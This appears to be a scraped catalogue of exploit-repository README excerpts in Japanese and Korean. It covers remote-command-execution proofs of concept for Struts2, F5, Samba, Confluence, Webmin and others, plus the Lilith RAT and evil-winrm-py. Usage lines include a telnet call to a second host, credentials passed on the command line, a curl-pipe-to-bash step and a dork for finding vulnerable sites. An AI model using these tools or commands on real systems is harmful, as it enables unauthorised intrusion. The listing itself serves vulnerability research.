firepwner

CVE-2015-6357: Cisco FireSIGHT Management Center SSL検証の脆弱性に対するFirePWNERエクスプロイト はじめに 単独では、Cisco FireSIGHT Management Centerの証明書検証の脆弱性3は中程度 の深刻度で、CVSS スコアは5.1 です。しかし、この脆弱性はSSL証明書の検証がなぜそれほど重要なのかを示す一例です。このエクスプロイトでは、この脆弱性を利用してCisco FireSIGHTシステム上で特権を伴うリモートコマンド実行を獲得する方法を実演します。このエクスプロイトは、SSL検証の脆弱性をCisco...

CVE-2024-37770

CVE-2024-37770 説明 14Finger v1.1 は、fingerprint機能にリモートコマンド実行（RCE）の脆弱性が含まれていることが発見されました。この脆弱性により、攻撃者は細工されたペイロードを介して任意のコマンドを実行できます。 攻撃ベクトル 認証されていない攻撃者は、シェルメタキャラクタを介してコマンドインジェクションを実行し、リモートサーバーでRCEを引き起こす可能性があります。 詳細 コア機能のフィンガープリントスキャンポイントに、認証されていないリモートコマンド実行の脆弱性があります。...

CVE-2025-24893-POC

CVE-2025-24893 bun をインストール： curl -fsSL https://bun.com/install | bash 依存関係をインストールするには： bun install 実行するには： bun run CVE-2025-24893.ts このプロジェクトは bun v1.2.19 の bun init を使用して作成されました。Bun は高速なオールインワン JavaScript ランタイムです。 使い方 Usage: bun CVE-2025-24893.ts options Options: -u, --url The target URL to...

log4j-detect

log4j-detect Simple Python 3 script to detect the "Log4j" Java library vulnerability CVE-2021-44228 for a list of URL with multithreading The script "log4j-detect.py" developed in Python 3 is responsible for detecting whether a list of URLs are vulnerable to CVE-2021-44228. To do so, it sends a G...

CVE-2022-24706

CVE-2022-24706 Contributors 화이트햇스쿨 4기 39반 금정현@junghyeonkum CouchDB Erlang Distribution 원격 명령 실행 취약점 CVE-2022-24706 요약 Apache CouchDB는 Erlang으로 구현된 오픈소스 문서 지향Document-Oriented NoSQL 데이터베이스입니다. Apache CouchDB는 Erlang으로 개발되었기 때문에 분산 컴퓨팅클러스터링 기능을 기본적으로 지원합니다. 클러스터 노드들은 Erlang/OTP Distribution Protoco...

ipmitest

ipmitest IPMIの暗号タイプゼロ認証バイパス脆弱性（CVE-2013-4784）をテストするためのシェルスクリプト IPMIは、システム管理者がコンピュータシステムのアウトオブバンド管理とその動作監視に使用する標準化されたコンピュータシステムインターフェースです。これは、オペレーティングシステムやログインシェルではなく、ネットワーク接続を介してハードウェアにアクセスすることで、電源がオフになっている、または応答しないコンピュータを管理する方法です。 この脆弱性により、リモートの攻撃者は、暗号スイート0（別名 cipher...

CVE-2018-2380

CVE-2018-2380 CVSS v3 기본 점수: 6.6/10 SAP NetWeaver AS JAVA CRM의 로그 주입을 통한 원격 명령 실행 PoC 스크립트 사용 예 python crmrce-CVE-2018-2380.py --host 127.0.0.1 --port 50001 --username administrator --password 123QWEasd --SID DM0 --ssl true 설명 --host는 SAP 서버 IP입니다. --port는 SAP NetWeaver AS Java 포트입니다. SAP 관리자의...

-CVE-2017-9805-

취약점 정보 Resources: https://vulners.com/cve/CVE-2017-9805 이게 무엇인가요? 파이썬 익스플로잇 스크립트로, S2-052에 취약한 Struts2를 호스팅하는 시스템의 셸에서 원격 명령을 실행할 수 있습니다. 사용법 python s2-052.py --target 'http://192.168.0.233/orders/3' --command "echo pwned | telnet 192.168.0.122 1234" Apache Struts XStream REST vulnerability -...

evil-winrm-py

evil-winrm-py evil-winrm-py は、WinRM Windows Remote Management プロトコルを使用してリモートの Windows マシン上でコマンドを実行するための Python ベースのツールです。進捗表示とチェックサム検証を備えたファイルのアップロード/ダウンロード、ローカル/リモートパスおよび PowerShell コマンドレットのタブ補完、PowerShell スクリプトの読み込みと実行、DLL および EXE のインメモリ実行、コマンド履歴、色付き出力といった拡張機能を備えたインタラクティブシェルを提供します。また、MCP...

cve-2022-1388-iveresk-command-shell

CVE-2022-1388 by 1vere$k 명령 셸 포함 여러 F5 제품에 영향을 미치는 CVE-2022-1388의 개선된 PoC 이것은 Horizon3의 CVE-2022-1388 Proof of Concept의 개선된 버전입니다: https://github.com/horizon3ai/CVE-2022-1388 또한 https://github.com/PsychoSec2/CVE-2022-1388-POC 의 PsychoSec 작업을 리팩토링한 완전한 재작업입니다. LOL 이 사람은 Requirements 섹션에서 brains 같은...

Apache-Struts-2-CVE-2017-5638-Exploit-

Apache-Struts-2-CVE-2017-5638-Exploit 이 익스플로잇은 Apache Struts2 취약점CVE-2017-5638을 악용하여 원격으로 Apache 서버에서 명령을 실행할 수 있게 합니다. 사용 방법: $ sudo python Struts2Shell001.py ! Exploit Apache Struts2 DEMO Code of Rvbk + HOST con https 취약점이 있는 사이트 struts를 사용하는 사이트를 찾는 google dork: intitle:"Struts Problem Report"...

CVE-2007-2447-Exploit

CVE-2007-2447 익스플로잇 이 저장소는 Samba smbd 3.0.20 CVE-2007-2447 취약점에 대한 익스플로잇을 포함하며, 조작된 SMB 요청을 통해 원격 명령 실행을 가능하게 합니다. 전제 조건 이 익스플로잇은 Python 3 와 몇 가지 종속성이 필요합니다. 익스플로잇을 실행하기 전에 가상 환경을 설정하는 것이 좋습니다. 가상 환경 설정 1. 저장소 클론하기 : git clone https://github.com/your-repo/CVE-2007-2447.git cd CVE-2007-2447 2...

Lilith

Lilith Windows용 무료 및 네이티브 오픈소스 C++ 원격 관리 도구 릴리스는 C++로 개발된 콘솔 기반의 초경량 RAT원격 접속 도구입니다. 명령어의 간단한 세트를 통해 기계를 거의 완전히 제어할 수 있습니다. 면책 조항 이 소프트웨어를 자신의 소유가 아닌 장치에서 사용하는 것은 매우 권장되지 않습니다. Lilith를 다른 환경에서 사용하려면 소유자의 명시적 허가를 받아야 하며, 불법 설치 시 해당 관할권에서 법적 조치를 받을 수 있습니다. 유튜브 새로운 기능에 대한 비디오 포괄적인 기능 개요 기능 원격 명령 실행...

CVE-2024-32002

CVE-2024-32002 버전 1.0.0 이 버전은 인증된 사용자가 있고 영향을 받는 git 버전 2.45.0이 있는 원격 대상에서만 작동합니다. 이 취약점은 다음 버전의 Git에 영향을 미칩니다: 2.45.0 개념 증명 POC는 git clone 명령을 통해 RCE원격 명령 실행를 트리거할 수 있으며, 이는 심볼릭 링크를 따르는 git 서브모듈의 특정 취약한 사용을 통해 이루어지므로, 올바르게 작동하려면 core.symlinks가 true로 설정된 컨텍스트가 필요합니다. 참고: 이는 git config --global...

aapanel

aapanel aapanel 6.6.6 - CVE-2020-14950 説明: リモートの認証済みユーザーが、ソフトウェアストアの設定メニューを介して任意のコマンドを実行できます。 影響を受けるバージョン: すべて = 6.6.6 情報 このPoCを作成するために、docker-composeを使用してソフトウェアをインストールしました。 脆弱性タイプ: リモートコマンド実行 認証済みRCE POC...

CVE-2020-14947

CVE-2020-14947 OCS Inventory NG v2.7 のリモートコマンド実行（CVE-2020-14947）の公式エクスプロイト...

rejjeto_hfs-rce-exploit-cve-2014-6287

HFS リモートコマンド実行エクスプロイト CVE-2014-6287 これは、CVE-2014-6287 として特定されている脆弱性を利用した、Rejetto HTTP File Server HFS v2.3.x を標的とする古典的なリモートコマンド実行 RCE エクスプロイトの Python 3 による書き直しです。 当初は Avinash Kumar Thapa（別名 "-Acid"） によって発見されました。このバージョンは、移植性と使いやすさを向上させ、完全なパラメータ化と最新環境との互換性を提供します。 ⚠️ 免責事項...

CVE-2021-31762

CSRF-to-RCE ..| CVE-2021-31762 |.. 설명 : 교차 사이트 요청 위조CSRF 공격을 악용하여 Webmin의 사용자 추가 기능을 통해 권한 있는 사용자를 생성한 다음, Webmin의 실행 중인 프로세스 기능을 통해 리버스 셸을 획득합니다. 테스트된 버전 : Webmin 1.973 GitHub의 최신 버전 2021년 7월 3일 공격 유형: 원격 영향 : 원격 명령 실행 익스플로잇 코드 POC : YouTube POC : https://youtu.be/qCvEXwyaF5U 제품 공급업체 :...

CVE-2019-12725

CVE-2019-12725 CVE-2019-12725 ZeroShell 원격 명령 실행 취약점 =================================================== 나만의 연습 프로젝트...

cve-2022-26134

CVE-2022-26134 CVE-2022-26134 の実装 このリポジトリには、CVE-2022-26134 のエクスプロイトの実装が含まれています。ここで実装されているバージョンは、 7.18.0 などのバージョンの isSafeExpression チェックをバイパスします。 このエクスプロイトは、次の 2 つのモードで実行できます: 1 つ目のモードでは、一度に 1 つのコマンドを実行できます: python3 cve-2022-26134.py このモードは、コマンドが成功した場合はその出力を返し、成功しなかった場合は空行を表示します。 2 つ目のモードは対話モードです:...